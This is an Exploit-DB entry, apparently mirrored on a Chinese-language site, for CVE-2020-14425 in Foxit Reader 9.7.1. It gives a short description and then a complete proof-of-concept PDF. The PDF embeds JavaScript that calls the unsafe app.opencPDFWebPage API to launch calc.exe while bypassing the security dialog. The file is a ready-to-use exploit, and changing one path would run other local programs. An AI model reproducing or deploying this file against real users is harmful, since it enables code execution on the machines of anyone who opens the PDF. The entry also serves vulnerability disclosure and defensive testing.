Foxit Reader 9.7.1 – Remote Command Execution (Javascript API)

  • 作者: Nassim Asrir
    日期: 2020-11-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48982/
  • # Exploit Title: Foxit Reader 9.7.1 - Remote Command Execution (Javascript API)
    # Exploit Author: Nassim Asrir
    # Vendor Homepage: https://www.foxitsoftware.com/
    # Description: Foxit Reader before 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript API which allows an attacker to execute local files on the file system and bypass the security dialog.
    # CVE-2020-14425
    
    The exploit process need the user-interaction (Opening the PDF) .
    
    + Process continuation
    
    #POC
    
    %PDF-1.4
    %ÓôÌá
    1 0 obj
    <<
    /CreationDate(D:20200821171007+02'00')
    /Title(Hi, Can you see me ?)
    /Creator(AnonymousUser)
    >>
    endobj
    2 0 obj
    <<
    /Type/Catalog
    /Pages 3 0 R
    /Names
    <<
    /JavaScript 10 0 R
    >>
    >>
    endobj
    3 0 obj
    <<
    /Type/Pages
    /Count 1
    /Kids[4 0 R]
    >>
    endobj
    4 0 obj
    <<
    /Type/Page
    /MediaBox[0 0 595 842]
    /Parent 3 0 R
    /Contents 5 0 R
    /Resources
    <<
    /ProcSet [/PDF/Text/ImageB/ImageC/ImageI]
    /ExtGState
    <<
    /GS0 6 0 R
    >>
    /Font
    <<
    /F0 8 0 R
    >>
    >>
    /Group
    <<
    /CS/DeviceRGB
    /S/Transparency
    /I false
    /K false
    >>
    >>
    endobj
    5 0 obj
    <<
    /Length 94
    /Filter/FlateDecode
    >>
    stream
    xœŠ»@@EûùŠ[RØk	­x•ÄüW"DDç덜âžÜœ›b°ý“{‡éTg†¼tS)dÛ‘±=dœþ+9Ÿ_ÄifÔÈŒ [ŽãB_5!d§ZhP>¯ ‰
    endstream
    endobj
    6 0 obj
    <<
    /Type/ExtGState
    /ca 1
    >>
    endobj
    7 0 obj
    <<
    /Type/FontDescriptor
    /Ascent 833
    /CapHeight 592
    /Descent -300
    /Flags 32
    /FontBBox[-192 -710 702 1221]
    /ItalicAngle 0
    /StemV 0
    /XHeight 443
    /FontName/CourierNew,Bold
    >>
    endobj
    8 0 obj
    <<
    /Type/Font
    /Subtype/TrueType
    /BaseFont/CourierNew,Bold
    /Encoding/WinAnsiEncoding
    /FontDescriptor 7 0 R
    /FirstChar 0
    /LastChar 255
    /Widths[600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600]
    >>
    endobj
    9 0 obj
    <<
    /S/JavaScript
    /JS(app.opencPDFWebPage\('C:\\\\Windows\\\\System32\\\\calc.exe'\) )
    >>
    endobj
    10 0 obj
    <<
    /Names[(EmbeddedJS)9 0 R]
    >>
    endobj
    xref
    0 11
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    0000002235 00000 n 
    trailer
    <<
    /ID[<7018DE6859F23E419162D213F5C4D583><7018DE6859F23E419162D213F5C4D583>]
    /Info 1 0 R
    /Root 2 0 R
    /Size 11
    >>
    startxref
    2283
    %%EOF